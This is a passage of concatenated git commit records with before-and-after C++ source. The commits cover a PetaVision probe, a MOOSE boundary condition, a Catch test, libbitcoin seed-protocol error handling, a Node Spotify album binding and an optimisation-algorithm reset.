<assert.h>\n#include <string.h> \/\/ strdup\n\nnamespace PV {\n\n\/**\n * @hc\n * @dim\n * @f\n * @gifFile\n *\/\nLinearAverageProbe::LinearAverageProbe(HyPerCol * hc, PVDimType dim, int f, const char * gifFile)\n : LinearActivityProbe(hc, dim, 0, f)\n{\n this->gifFile = strdup(gifFile);\n this->fpGif = NULL;\n}\n\n\/**\n * @filename\n * @hc\n * @dim\n * @f\n * @char\n *\/\nLinearAverageProbe::LinearAverageProbe(const char * filename, HyPerCol * hc, PVDimType dim, int f, const char * gifFile)\n : LinearActivityProbe(filename, hc, dim, 0, f)\n{\n this->gifFile = strdup(gifFile);\n this->fpGif = NULL;\n}\n\nLinearAverageProbe::~LinearAverageProbe()\n{\n if (fpGif != NULL) {\n fclose(fpGif);\n }\n}\n\n\/**\n * @time\n * @l\n *\/\nint LinearAverageProbe::outputState(float time, PVLayer * l)\n{\n int nk, sk;\n float * line;\n\n if (fpGif == NULL) {\n int numOnLines = 0;\n char path[PV_PATH_MAX];\n sprintf(path, \"%s%s\", OUTPUT_PATH, gifFile);\n\/\/ fpGif = fopen(path, \"r\");\n\n int nx = l->loc.nxGlobal;\n int ny = l->loc.nyGlobal;\n int nf = l->numFeatures;\n\n int sx = strideX(nx, ny, nf);\n int sy = strideY(nx, ny, nf);\n\n float * buf = (float *) malloc(nx * ny * sizeof(float));\n assert(buf != NULL);\n\n int err = readFile(path, buf, &nx, &ny);\n if (err == 0) {\n assert(nx <= l->loc.nxGlobal);\n assert(ny <= l->loc.nyGlobal);\n if (nx < l->loc.nxGlobal || ny < l->loc.nyGlobal) {\n err = pv_center_image(buf, nx, ny, l->loc.nxGlobal, l->loc.nyGlobal);\n }\n }\n\n nx = l->loc.nxGlobal;\n ny = l->loc.nyGlobal;\n\n if (dim == DimX) {\n nk = nx;\n sk = nf;\n for (int j = 0; j < ny; j++) {\n for (int i = 0; i < nx; i++) {\n if (buf[i*sx + j*sy] > 0.0) {\n numOnLines += 1;\n break;\n }\n }\n }\n\n line = l->activity->data + nf * nk * loc;\n }\n else {\n nk = l->activity->loc.ny;\n sk = nf * l->activity->loc.nx;\n line = l->activity->data + nf * loc;\n }\n\n \/\/ get list of locations\n }\n\n float dt = parent->getDeltaTime();\n int nf = l->numFeatures;\n\n if (dim == DimX) {\n nk = l->activity->loc.nx;\n sk = nf;\n line = l->activity->data + nf * nk * loc;\n }\n else {\n nk = l->activity->loc.ny;\n sk = nf * l->activity->loc.nx;\n line = l->activity->data + nf * loc;\n }\n\n double sum = 0.0;\n for (int k = 0; k < nk; k++) {\n float a = line[f + k * sk];\n sum += a;\n }\n\n float freq = sum \/ (nk * dt * 0.001);\n fprintf(fp, \"t=%4d sum=%3d f=%6.1f Hz :\", (int)time, (int)sum, freq);\n\n for (int k = 0; k < nk; k++) {\n float a = line[f + k * sk];\n if (a > 0.0) fprintf(fp, \"*\");\n else fprintf(fp, \" \");\n }\n\n fprintf(fp, \":\\n\");\n fflush(fp);\n\n return 0;\n}\n\n}\n<commit_msg>Marian and Craig's fixes for extended activity buffers and STDP.<commit_after>\/*\n * LinearAverageProbe.cpp\n *\n * Created on: Apr 22, 2009\n * Author: rasmussn\n *\/\n\n#include \"LinearAverageProbe.hpp\"\n#include \"io.h\"\n#include <assert.h>\n#include <string.h> \/\/ strdup\n\nnamespace PV {\n\n\/**\n * @hc\n * @dim\n * @f\n * @gifFile\n *\/\nLinearAverageProbe::LinearAverageProbe(HyPerCol * hc, PVDimType dim, int f, const char * gifFile)\n : LinearActivityProbe(hc, dim, 0, f)\n{\n this->gifFile = strdup(gifFile);\n this->fpGif = NULL;\n}\n\n\/**\n * @filename\n * @hc\n * @dim\n * @f\n * @char\n *\/\nLinearAverageProbe::LinearAverageProbe(const char * filename, HyPerCol * hc, PVDimType dim, int f, const char * gifFile)\n : LinearActivityProbe(filename, hc, dim, 0, f)\n{\n this->gifFile = strdup(gifFile);\n this->fpGif = NULL;\n}\n\nLinearAverageProbe::~LinearAverageProbe()\n{\n if (fpGif != NULL) {\n fclose(fpGif);\n }\n}\n\n\/**\n * @time\n * @l\n *\/\nint LinearAverageProbe::outputState(float time, PVLayer * l)\n{\n int nk, sk;\n float * line;\n\n if (fpGif == NULL) {\n int numOnLines = 0;\n char path[PV_PATH_MAX];\n sprintf(path, \"%s%s\", OUTPUT_PATH, gifFile);\n\/\/ fpGif = fopen(path, \"r\");\n\n int nx = l->loc.nxGlobal;\n int ny = l->loc.nyGlobal;\n int nf = l->numFeatures;\n\n int sx = strideX(nx, ny, nf);\n int sy = strideY(nx, ny, nf);\n\n float * buf = (float *) malloc(nx * ny * sizeof(float));\n assert(buf != NULL);\n\n int err = readFile(path, buf, &nx, &ny);\n if (err == 0) {\n assert(nx <= l->loc.nxGlobal);\n assert(ny <= l->loc.nyGlobal);\n if (nx < l->loc.nxGlobal || ny < l->loc.nyGlobal) {\n err = pv_center_image(buf, nx, ny, l->loc.nxGlobal, l->loc.nyGlobal);\n }\n }\n\n nx = l->loc.nxGlobal;\n ny = l->loc.nyGlobal;\n\n if (dim == DimX) {\n nk = nx;\n sk = nf;\n for (int j = 0; j < ny; j++) {\n for (int i = 0; i < nx; i++) {\n if (buf[i*sx + j*sy] > 0.0) {\n numOnLines += 1;\n break;\n }\n }\n }\n\n line = l->activity->data + nf * nk * linePos;\n }\n else {\n nk = l->activity->loc.ny;\n sk = nf * l->activity->loc.nx;\n line = l->activity->data + nf * linePos;\n }\n\n \/\/ get list of locations\n }\n\n float dt = parent->getDeltaTime();\n int nf = l->numFeatures;\n\n if (dim == DimX) {\n nk = l->activity->loc.nx;\n sk = nf;\n line = l->activity->data + nf * nk * linePos;\n }\n else {\n nk = l->activity->loc.ny;\n sk = nf * l->activity->loc.nx;\n line = l->activity->data + nf * linePos;\n }\n\n double sum = 0.0;\n for (int k = 0; k < nk; k++) {\n float a = line[f + k * sk];\n sum += a;\n }\n\n float freq = sum \/ (nk * dt * 0.001);\n fprintf(fp, \"t=%4d sum=%3d f=%6.1f Hz :\", (int)time, (int)sum, freq);\n\n for (int k = 0; k < nk; k++) {\n float a = line[f + k * sk];\n if (a > 0.0) fprintf(fp, \"*\");\n else fprintf(fp, \" \");\n }\n\n fprintf(fp, \":\\n\");\n fflush(fp);\n\n return 0;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"HSBoundarySpecifiedTemperature.h\"\n#include \"HeatConductionModel.h\"\n\nregisterMooseObject(\"THMApp\", HSBoundarySpecifiedTemperature);\n\nInputParameters\nHSBoundarySpecifiedTemperature::validParams()\n{\n InputParameters params = HSBoundary::validParams();\n\n params.addRequiredParam<FunctionName>(\"T\", \"Prescribed temperature [K]\");\n\n return params;\n}\n\nHSBoundarySpecifiedTemperature::HSBoundarySpecifiedTemperature(const InputParameters & params)\n : HSBoundary(params),\n\n _T_func(getParam<FunctionName>(\"T\"))\n{\n}\n\nvoid\nHSBoundarySpecifiedTemperature::addMooseObjects()\n{\n {\n std::string class_name = \"FunctionDirichletBC\";\n InputParameters pars = _factory.getValidParams(class_name);\n pars.set<NonlinearVariableName>(\"variable\") = HeatConductionModel::TEMPERATURE;\n pars.set<std::vector<BoundaryName>>(\"boundary\") = _boundary;\n pars.set<FunctionName>(\"function\") = _T_func;\n _sim.addBoundaryCondition(class_name, genName(name(), \"bc\"), pars);\n makeFunctionControllableIfConstant(_T_func, \"T\");\n }\n}\n<commit_msg>Converting HSBoundarySpecifiedTemperature to AD<commit_after>#include \"HSBoundarySpecifiedTemperature.h\"\n#include \"HeatConductionModel.h\"\n\nregisterMooseObject(\"THMApp\", HSBoundarySpecifiedTemperature);\n\nInputParameters\nHSBoundarySpecifiedTemperature::validParams()\n{\n InputParameters params = HSBoundary::validParams();\n\n params.addRequiredParam<FunctionName>(\"T\", \"Prescribed temperature [K]\");\n\n return params;\n}\n\nHSBoundarySpecifiedTemperature::HSBoundarySpecifiedTemperature(const InputParameters & params)\n : HSBoundary(params),\n\n _T_func(getParam<FunctionName>(\"T\"))\n{\n}\n\nvoid\nHSBoundarySpecifiedTemperature::addMooseObjects()\n{\n {\n std::string class_name = \"ADFunctionDirichletBC\";\n InputParameters pars = _factory.getValidParams(class_name);\n pars.set<NonlinearVariableName>(\"variable\") = HeatConductionModel::TEMPERATURE;\n pars.set<std::vector<BoundaryName>>(\"boundary\") = _boundary;\n pars.set<FunctionName>(\"function\") = _T_func;\n _sim.addBoundaryCondition(class_name, genName(name(), \"bc\"), pars);\n makeFunctionControllableIfConstant(_T_func, \"T\");\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Created by Sam on 11\/18\/2017.\n\/\/\n\n#include \"..\/..\/..\/build\/catch-src\/include\/catch.hpp\"\n#include \"..\/..\/..\/include\/Game\/Python\/Factory.h\"\n\nTEST_CASE(\"Create factory\")\n{\n auto* factory = new Factory();\n delete factory;\n\/\/\n\/\/ SECTION(\"Verify creation\")\n\/\/ {\n\/\/ REQUIRE_FALSE(factory == nullptr);\n\/\/ }\n\/\/\n\/\/ SECTION(\"Verify minimum python version\")\n\/\/ {\n\/\/ std::string minimumVersion = \"2.7\";\n\/\/ bool versionCheck = Version(minimumVersion) < factory->version;\n\/\/ REQUIRE(versionCheck);\n\/\/ }\n\/\/\n\/\/ SECTION(\"Verify expected python version\")\n\/\/ {\n\/\/ std::string expectedVersion = \"3.6.3\";\n\/\/ bool versionCheck = Version(expectedVersion) == factory->version;\n\/\/\n\/\/ if (!versionCheck)\n\/\/ {\n\/\/ FAIL_CHECK(\"Unexpected python version, expected \" + expectedVersion +\n\/\/ \" but factory's interpreter is running \" + factory->version.toString());\n\/\/ }\n\/\/ }\n}<commit_msg>Use a shared ptr and uncomment unit tests<commit_after>\/\/\n\/\/ Created by Sam on 11\/18\/2017.\n\/\/\n\n#include \"..\/..\/..\/build\/catch-src\/include\/catch.hpp\"\n#include \"..\/..\/..\/include\/Game\/Python\/Factory.h\"\n\nTEST_CASE(\"Create factory\")\n{\n std::shared_ptr<Factory> factory = std::make_shared<Factory>();\n\n SECTION(\"Verify creation\")\n {\n REQUIRE_FALSE(factory == nullptr);\n }\n\n SECTION(\"Verify minimum python version\")\n {\n std::string minimumVersion = \"2.7\";\n bool versionCheck = Version(minimumVersion) < factory->version;\n REQUIRE(versionCheck);\n }\n\n SECTION(\"Verify expected python version\")\n {\n std::string expectedVersion = \"3.6.3\";\n bool versionCheck = Version(expectedVersion) == factory->version;\n\n if (!versionCheck)\n {\n FAIL_CHECK(\"Unexpected python version, expected \" + expectedVersion +\n \" but factory's interpreter is running \" + factory->version.toString());\n }\n }\n}<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2011-2015 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * libbitcoin is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <bitcoin\/bitcoin\/network\/protocol_seed.hpp>\n\n#include <functional>\n#include <bitcoin\/bitcoin\/config\/authority.hpp>\n#include <bitcoin\/bitcoin\/error.hpp>\n#include <bitcoin\/bitcoin\/message\/address.hpp>\n#include <bitcoin\/bitcoin\/message\/get_address.hpp>\n#include <bitcoin\/bitcoin\/message\/network_address.hpp>\n#include <bitcoin\/bitcoin\/network\/channel.hpp>\n#include <bitcoin\/bitcoin\/network\/protocol_base.hpp>\n#include <bitcoin\/bitcoin\/utility\/assert.hpp>\n#include <bitcoin\/bitcoin\/utility\/deadline.hpp>\n#include <bitcoin\/bitcoin\/utility\/dispatcher.hpp>\n#include <bitcoin\/bitcoin\/utility\/synchronizer.hpp>\n#include <bitcoin\/bitcoin\/utility\/threadpool.hpp>\n\nINITIALIZE_TRACK(bc::network::protocol_seed);\n\nnamespace libbitcoin {\nnamespace network {\n \nusing namespace bc::message;\nusing std::placeholders::_1;\nusing std::placeholders::_2;\n#define CLASS protocol_seed\n\n\/\/ Require three callbacks (or any error) before calling complete.\nprotocol_seed::protocol_seed(channel::ptr peer, threadpool& pool,\n const asio::duration& timeout, handler complete, hosts& hosts,\n const config::authority& self)\n : hosts_(hosts), self_(self),\n protocol_base(peer, pool, timeout, synchronize(complete, 3, \"seed\")),\n track<protocol_seed>(\"protocol_seed\", LOG_NETWORK)\n{\n}\n\nvoid protocol_seed::start()\n{\n protocol_base::start();\n\n if (self_.port() == 0)\n {\n callback(error::success);\n }\n else\n {\n address self({ { self_.to_network_address() } });\n SEND1(self, handle_send_address, _1);\n }\n\n if (hosts_.capacity() == 0)\n {\n \/\/ Error return ends synchronized completion callback.\n callback(error::not_found);\n return;\n }\n\n SUBSCRIBE2(address, handle_receive_address, _1, _2);\n SEND1(get_address(), handle_send_get_address, _1);\n}\n\nvoid protocol_seed::handle_receive_address(const code& ec,\n const address& message)\n{\n if (stopped())\n return;\n\n if (ec)\n {\n log_debug(LOG_PROTOCOL)\n << \"Failure receiving addresses from seed [\" << authority() << \"] \"\n << ec.message();\n callback(error::bad_stream);\n return;\n }\n\n log_debug(LOG_PROTOCOL)\n << \"Storing addresses from seed [\" << authority() << \"] (\"\n << message.addresses.size() << \")\";\n\n \/\/ TODO: manage timestamps (active peers are connected < 3 hours ago).\n hosts_.store(message.addresses, BIND1(handle_store_addresses, _1));\n}\n\nvoid protocol_seed::handle_send_address(const code& ec) const\n{\n if (stopped())\n return;\n\n if (ec)\n log_debug(LOG_PROTOCOL)\n << \"Failure sending address to seed [\" << authority() << \"] \"\n << ec.message();\n\n \/\/ 1 of 3\n callback(ec);\n}\n\nvoid protocol_seed::handle_send_get_address(const code& ec) const\n{\n if (stopped())\n return;\n\n if (ec)\n log_debug(LOG_PROTOCOL)\n << \"Failure sending get_address to seed [\" << authority() << \"] \"\n << ec.message();\n\n \/\/ 2 of 3\n callback(ec);\n}\n\nvoid protocol_seed::handle_store_addresses(const code& ec) const\n{\n if (stopped())\n return;\n\n if (ec)\n log_error(LOG_PROTOCOL)\n << \"Failure storing addresses from seed [\" << authority() << \"] \"\n << ec.message();\n\n \/\/ 3 of 3\n callback(ec);\n}\n\n#undef CLASS\n\n} \/\/ namespace network\n} \/\/ namespace libbitcoin\n<commit_msg>Comment and correct returned error code.<commit_after>\/**\n * Copyright (c) 2011-2015 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * libbitcoin is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <bitcoin\/bitcoin\/network\/protocol_seed.hpp>\n\n#include <functional>\n#include <bitcoin\/bitcoin\/config\/authority.hpp>\n#include <bitcoin\/bitcoin\/error.hpp>\n#include <bitcoin\/bitcoin\/message\/address.hpp>\n#include <bitcoin\/bitcoin\/message\/get_address.hpp>\n#include <bitcoin\/bitcoin\/message\/network_address.hpp>\n#include <bitcoin\/bitcoin\/network\/channel.hpp>\n#include <bitcoin\/bitcoin\/network\/protocol_base.hpp>\n#include <bitcoin\/bitcoin\/utility\/assert.hpp>\n#include <bitcoin\/bitcoin\/utility\/deadline.hpp>\n#include <bitcoin\/bitcoin\/utility\/dispatcher.hpp>\n#include <bitcoin\/bitcoin\/utility\/synchronizer.hpp>\n#include <bitcoin\/bitcoin\/utility\/threadpool.hpp>\n\nINITIALIZE_TRACK(bc::network::protocol_seed);\n\nnamespace libbitcoin {\nnamespace network {\n \nusing namespace bc::message;\nusing std::placeholders::_1;\nusing std::placeholders::_2;\n#define CLASS protocol_seed\n\n\/\/ Require three callbacks (or any error) before calling complete.\nprotocol_seed::protocol_seed(channel::ptr peer, threadpool& pool,\n const asio::duration& timeout, handler complete, hosts& hosts,\n const config::authority& self)\n : hosts_(hosts), self_(self),\n protocol_base(peer, pool, timeout, synchronize(complete, 3, \"seed\")),\n track<protocol_seed>(\"protocol_seed\", LOG_NETWORK)\n{\n}\n\nvoid protocol_seed::start()\n{\n protocol_base::start();\n\n if (self_.port() == 0)\n {\n callback(error::success);\n }\n else\n {\n address self({ { self_.to_network_address() } });\n SEND1(self, handle_send_address, _1);\n }\n\n if (hosts_.capacity() == 0)\n {\n \/\/ Error return ends synchronized completion callback.\n callback(error::not_found);\n return;\n }\n\n SUBSCRIBE2(address, handle_receive_address, _1, _2);\n SEND1(get_address(), handle_send_get_address, _1);\n}\n\nvoid protocol_seed::handle_receive_address(const code& ec,\n const address& message)\n{\n if (stopped())\n return;\n\n if (ec)\n {\n \/\/ We are getting here with channel stopped because this session\n \/\/ doesn't register a stop handler. We may be getting stopped due to\n \/\/ failure to handle ping on this session.\n log_debug(LOG_PROTOCOL)\n << \"Failure receiving addresses from seed [\" << authority() << \"] \"\n << ec.message();\n callback(ec);\n return;\n }\n\n log_debug(LOG_PROTOCOL)\n << \"Storing addresses from seed [\" << authority() << \"] (\"\n << message.addresses.size() << \")\";\n\n \/\/ TODO: manage timestamps (active peers are connected < 3 hours ago).\n hosts_.store(message.addresses, BIND1(handle_store_addresses, _1));\n}\n\nvoid protocol_seed::handle_send_address(const code& ec) const\n{\n if (stopped())\n return;\n\n if (ec)\n log_debug(LOG_PROTOCOL)\n << \"Failure sending address to seed [\" << authority() << \"] \"\n << ec.message();\n\n \/\/ 1 of 3\n callback(ec);\n}\n\nvoid protocol_seed::handle_send_get_address(const code& ec) const\n{\n if (stopped())\n return;\n\n if (ec)\n log_debug(LOG_PROTOCOL)\n << \"Failure sending get_address to seed [\" << authority() << \"] \"\n << ec.message();\n\n \/\/ 2 of 3\n callback(ec);\n}\n\nvoid protocol_seed::handle_store_addresses(const code& ec) const\n{\n if (stopped())\n return;\n\n if (ec)\n log_error(LOG_PROTOCOL)\n << \"Failure storing addresses from seed [\" << authority() << \"] \"\n << ec.message();\n\n \/\/ 3 of 3\n callback(ec);\n}\n\n#undef CLASS\n\n} \/\/ namespace network\n} \/\/ namespace libbitcoin\n<|endoftext|>"} {"text":"<commit_before>#include \"NodeAlbum.h\"\n#include \"NodeTrack.h\"\n#include \"NodeArtist.h\"\n#include \"..\/spotify\/Track.h\"\n\nNodeAlbum::NodeAlbum(std::unique_ptr<Album> _album) : album(std::move(_album)) {\n album->nodeObject = this;\n};\n\nNodeAlbum::~NodeAlbum() {\n if(album->nodeObject == this) {\n album->nodeObject = nullptr;\n }\n}\n\nNAN_GETTER(NodeAlbum::getName) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n NanReturnValue(Nan::New<String>(nodeAlbum->album->name().c_str()).ToLocalChecked());\n}\n\nNAN_GETTER(NodeAlbum::getLink) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n NanReturnValue(Nan::New<String>(nodeAlbum->album->link().c_str()).ToLocalChecked());\n}\n\nNAN_METHOD(NodeAlbum::getCoverBase64) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n NanReturnValue(Nan::New<String>(nodeAlbum->album->coverBase64().c_str()).ToLocalChecked());\n}\n\nNAN_METHOD(NodeAlbum::browse) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n if(nodeAlbum->album->albumBrowse == nullptr) {\n nodeAlbum->makePersistent();\n nodeAlbum->browseCompleteCallback.SetFunction(args[0].As<Function>());\n\n \/\/Mutate the V8 object.\n Handle<Object> nodeAlbumV8 = NanObjectWrapHandle(nodeAlbum);\n nodeAlbumV8->SetAccessor(Nan::New<String>(\"tracks\").ToLocalChecked(), getTracks);\n nodeAlbumV8->SetAccessor(Nan::New<String>(\"review\").ToLocalChecked(), getReview);\n nodeAlbumV8->SetAccessor(Nan::New<String>(\"copyrights\").ToLocalChecked(), getCopyrights);\n nodeAlbumV8->SetAccessor(Nan::New<String>(\"artist\").ToLocalChecked(), getArtist);\n\n nodeAlbum->album->browse();\n } else {\n nodeAlbum->callBrowseComplete();\n }\n NanReturnUndefined();\n}\n\nNAN_GETTER(NodeAlbum::getTracks) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n std::vector<std::shared_ptr<Track>> tracks = nodeAlbum->album->tracks();\n Handle<Array> nodeTracks = NanNew<Array>(tracks.size());\n for(int i = 0; i < (int)tracks.size(); i++) {\n NodeTrack* nodeTrack = new NodeTrack(tracks[i]);\n nodeTracks->Set(Nan::New<Number>(i), nodeTrack->createInstance());\n }\n NanReturnValue(nodeTracks);\n}\n\nNAN_GETTER(NodeAlbum::getReview) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n NanReturnValue(Nan::New<String>(nodeAlbum->album->review().c_str()).ToLocalChecked());\n}\n\nNAN_GETTER(NodeAlbum::getCopyrights) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n std::vector<std::string> copyrights = nodeAlbum->album->copyrights();\n Handle<Array> nodeCopyrights = NanNew<Array>(copyrights.size());\n for(int i = 0; i < (int)copyrights.size(); i++) {\n nodeCopyrights->Set(Nan::New<Number>(i), Nan::New<String>(copyrights[i].c_str()).ToLocalChecked());\n }\n NanReturnValue(nodeCopyrights);\n}\n\nNAN_GETTER(NodeAlbum::getArtist) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n NodeArtist* nodeArtist = new NodeArtist(nodeAlbum->album->artist());\n NanReturnValue(nodeArtist->createInstance());\n}\n\nNAN_GETTER(NodeAlbum::isLoaded) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n NanReturnValue(NanNew<Boolean>(nodeAlbum->album->isLoaded()));\n}\n\nvoid NodeAlbum::init() {\n NanScope();\n Handle<FunctionTemplate> constructorTemplate = NodeWrapped::init(\"Album\");\n constructorTemplate->InstanceTemplate()->SetAccessor(Nan::New<String>(\"name\").ToLocalChecked(), getName);\n constructorTemplate->InstanceTemplate()->SetAccessor(Nan::New<String>(\"link\").ToLocalChecked(), getLink);\n constructorTemplate->InstanceTemplate()->SetAccessor(Nan::New<String>(\"isLoaded\").ToLocalChecked(), isLoaded);\n NODE_SET_PROTOTYPE_METHOD(constructorTemplate, \"getCoverBase64\", getCoverBase64);\n NODE_SET_PROTOTYPE_METHOD(constructorTemplate, \"browse\", browse);\n NanAssignPersistent(NodeAlbum::constructorTemplate, constructorTemplate);\n}\n<commit_msg>Fix NodeAlbum return values and init method.<commit_after>#include \"NodeAlbum.h\"\n#include \"NodeTrack.h\"\n#include \"NodeArtist.h\"\n#include \"..\/spotify\/Track.h\"\n\nNodeAlbum::NodeAlbum(std::unique_ptr<Album> _album) : album(std::move(_album)) {\n album->nodeObject = this;\n};\n\nNodeAlbum::~NodeAlbum() {\n if(album->nodeObject == this) {\n album->nodeObject = nullptr;\n }\n}\n\nNAN_GETTER(NodeAlbum::getName) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n info.GetReturnValue().Set(Nan::New<String>(nodeAlbum->album->name().c_str()).ToLocalChecked());\n}\n\nNAN_GETTER(NodeAlbum::getLink) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n info.GetReturnValue().Set(Nan::New<String>(nodeAlbum->album->link().c_str()).ToLocalChecked());\n}\n\nNAN_METHOD(NodeAlbum::getCoverBase64) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n info.GetReturnValue().Set(Nan::New<String>(nodeAlbum->album->coverBase64().c_str()).ToLocalChecked());\n}\n\nNAN_METHOD(NodeAlbum::browse) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n if(nodeAlbum->album->albumBrowse == nullptr) {\n nodeAlbum->makePersistent();\n nodeAlbum->browseCompleteCallback.SetFunction(info[0].As<Function>());\n\n \/\/Mutate the V8 object.\n Handle<Object> nodeAlbumV8 = nodeAlbum->handle();\n Nan::SetAccessor(nodeAlbumV8, Nan::New<String>(\"tracks\").ToLocalChecked(), getTracks);\n Nan::SetAccessor(nodeAlbumV8, Nan::New<String>(\"review\").ToLocalChecked(), getReview);\n Nan::SetAccessor(nodeAlbumV8, Nan::New<String>(\"copyrights\").ToLocalChecked(), getCopyrights);\n Nan::SetAccessor(nodeAlbumV8, Nan::New<String>(\"artist\").ToLocalChecked(), getArtist);\n\n nodeAlbum->album->browse();\n } else {\n nodeAlbum->callBrowseComplete();\n }\n info.GetReturnValue().SetUndefined();\n}\n\nNAN_GETTER(NodeAlbum::getTracks) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n std::vector<std::shared_ptr<Track>> tracks = nodeAlbum->album->tracks();\n Handle<Array> nodeTracks = Nan::New<Array>(tracks.size());\n for(int i = 0; i < (int)tracks.size(); i++) {\n NodeTrack* nodeTrack = new NodeTrack(tracks[i]);\n nodeTracks->Set(Nan::New<Number>(i), nodeTrack->createInstance());\n }\n info.GetReturnValue().Set(nodeTracks);\n}\n\nNAN_GETTER(NodeAlbum::getReview) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n info.GetReturnValue().Set(Nan::New<String>(nodeAlbum->album->review().c_str()).ToLocalChecked());\n}\n\nNAN_GETTER(NodeAlbum::getCopyrights) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n std::vector<std::string> copyrights = nodeAlbum->album->copyrights();\n Handle<Array> nodeCopyrights = Nan::New<Array>(copyrights.size());\n for(int i = 0; i < (int)copyrights.size(); i++) {\n nodeCopyrights->Set(Nan::New<Number>(i), Nan::New<String>(copyrights[i].c_str()).ToLocalChecked());\n }\n info.GetReturnValue().Set(nodeCopyrights);\n}\n\nNAN_GETTER(NodeAlbum::getArtist) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n NodeArtist* nodeArtist = new NodeArtist(nodeAlbum->album->artist());\n info.GetReturnValue().Set(nodeArtist->createInstance());\n}\n\nNAN_GETTER(NodeAlbum::isLoaded) {\n NodeAlbum* nodeAlbum = node::ObjectWrap::Unwrap<NodeAlbum>(info.This());\n info.GetReturnValue().Set(Nan::New<Boolean>(nodeAlbum->album->isLoaded()));\n}\n\nvoid NodeAlbum::init() {\n Handle<FunctionTemplate> constructorTemplate = NodeWrapped::init(\"Album\");\n Nan::SetAccessor(constructorTemplate->InstanceTemplate(), Nan::New<String>(\"name\").ToLocalChecked(), getName);\n Nan::SetAccessor(constructorTemplate->InstanceTemplate(), Nan::New<String>(\"link\").ToLocalChecked(), getLink);\n Nan::SetAccessor(constructorTemplate->InstanceTemplate(), Nan::New<String>(\"isLoaded\").ToLocalChecked(), isLoaded);\n Nan::SetMethod(constructorTemplate, \"getCoverBase64\", getCoverBase64);\n Nan::SetMethod(constructorTemplate, \"browse\", browse);\n NodeAlbum::constructorTemplate.Reset(constructorTemplate);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <hop_bits\/optimisationAlgorithm.hpp>\n\n#include <limits>\n\nnamespace hop {\n OptimisationAlgorithm::OptimisationAlgorithm(const std::shared_ptr<OptimisationProblem> optimisationProblem)\n : optimisationProblem_(optimisationProblem) {\n setMaximalNumberOfIterations(1000);\n }\n\n void OptimisationAlgorithm::optimise() {\n bestObjectiveValue_ = std::numeric_limits<double>::infinity();\n bestSolution_ = arma::Col<double>({});\n numberOfIterations_ = 0;\n optimisationProblem_->reset();\n\n return optimiseImplementation();\n }\n\n double OptimisationAlgorithm::getBestObjectiveValue() const {\n return bestObjectiveValue_;\n }\n\n arma::Col<double> OptimisationAlgorithm::getBestSolution() const {\n return bestSolution_;\n }\n\n bool OptimisationAlgorithm::isFinished() const {\n return (bestObjectiveValue_ <= optimisationProblem_->getAcceptableObjectiveValue());\n }\n\n bool OptimisationAlgorithm::isTerminated() const {\n return (numberOfIterations_ >= maximalNumberOfIterations_);\n }\n\n unsigned int OptimisationAlgorithm::getNumberOfIterations() const {\n return numberOfIterations_;\n }\n\n void OptimisationAlgorithm::setMaximalNumberOfIterations(const unsigned int& maximalNumberOfIterations) {\n maximalNumberOfIterations_ = maximalNumberOfIterations;\n }\n}\n<commit_msg>feat: Added reset function<commit_after>#include <hop_bits\/optimisationAlgorithm.hpp>\n\n\/\/ C++ STL\n#include <limits>\n\nnamespace hop {\n OptimisationAlgorithm::OptimisationAlgorithm(const std::shared_ptr<OptimisationProblem> optimisationProblem)\n : optimisationProblem_(optimisationProblem) {\n setMaximalNumberOfIterations(1000);\n reset();\n }\n\n void OptimisationAlgorithm::optimise() {\n reset();\n return optimiseImplementation();\n }\n\n double OptimisationAlgorithm::getBestObjectiveValue() const {\n return bestObjectiveValue_;\n }\n\n arma::Col<double> OptimisationAlgorithm::getBestSolution() const {\n return 